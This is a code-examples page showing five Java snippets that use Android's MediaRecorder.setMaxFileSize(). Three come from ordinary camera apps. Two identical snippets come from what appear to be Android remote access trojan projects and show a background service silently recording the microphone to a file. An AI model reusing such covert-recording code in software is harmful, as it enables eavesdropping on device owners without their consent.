Java Code Examples for android.media.MediaRecorder#setMaxFileSize()

The following examples show how to use android.media.MediaRecorder#setMaxFileSize() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: VideoRecorder.java    From VideoCamera with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera) throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}
 
Example 2
Source File: MyService.java    From BetterAndroRAT with GNU General Public License v3.0 5 votes vote down vote up
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
 
Example 3
Source File: MyService.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 5 votes vote down vote up
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
 
Example 4
Source File: VideoRecorder.java    From LandscapeVideoCamera with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera)
        throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());
    recorder.setVideoFrameRate(mCaptureConfiguration.getVideoFPS());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}
 
Example 5
Source File: WhatsappCameraActivity.java    From WhatsAppCamera with MIT License 4 votes vote down vote up
@SuppressLint("SimpleDateFormat")
protected boolean prepareMediaRecorder() throws IOException {

    mediaRecorder = new MediaRecorder(); // Works well
    camera.stopPreview();
    camera.unlock();
    mediaRecorder.setCamera(camera);
    mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    if (flag == 1) {
        mediaRecorder.setProfile(CamcorderProfile.get(1, CamcorderProfile.QUALITY_HIGH));
    } else {
        mediaRecorder.setProfile(CamcorderProfile.get(CamcorderProfile.QUALITY_HIGH));
    }
    mediaRecorder.setPreviewDisplay(surfaceHolder.getSurface());

    mediaRecorder.setOrientationHint(mOrientation);

    if (Build.MODEL.equalsIgnoreCase("Nexus 6") && flag == 1) {

        if (mOrientation == 90) {
            mediaRecorder.setOrientationHint(mOrientation);
        } else if (mOrientation == 180) {
            mediaRecorder.setOrientationHint(0);
        } else {
            mediaRecorder.setOrientationHint(180);
        }

    } else if (mOrientation == 90 && flag == 1) {
        mediaRecorder.setOrientationHint(270);
    } else if (flag == 1) {
        mediaRecorder.setOrientationHint(mOrientation);
    }
    mediaFileName = "wc_vid_" + System.currentTimeMillis();
    mediaRecorder.setOutputFile(folder.getAbsolutePath() + "/" + mediaFileName + ".mp4"); // Environment.getExternalStorageDirectory()

    mediaRecorder.setOnInfoListener(new MediaRecorder.OnInfoListener() {

        public void onInfo(MediaRecorder mr, int what, int extra) {
            // TODO Auto-generated method stub

            if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {

                long downTime = 0;
                long eventTime = 0;
                float x = 0.0f;
                float y = 0.0f;
                int metaState = 0;
                MotionEvent motionEvent = MotionEvent.obtain(
                        downTime,
                        eventTime,
                        MotionEvent.ACTION_UP,
                        0,
                        0,
                        metaState
                );

                imgCapture.dispatchTouchEvent(motionEvent);

                Toast.makeText(WhatsappCameraActivity.this, "You reached to Maximum(25MB) video size.", Toast.LENGTH_SHORT).show();
            }


        }
    });

    mediaRecorder.setMaxFileSize(1000 * 25 * 1000);

    try {
        mediaRecorder.prepare();
    } catch (Exception e) {
        releaseMediaRecorder();
        e.printStackTrace();
        return false;
    }
    return true;

}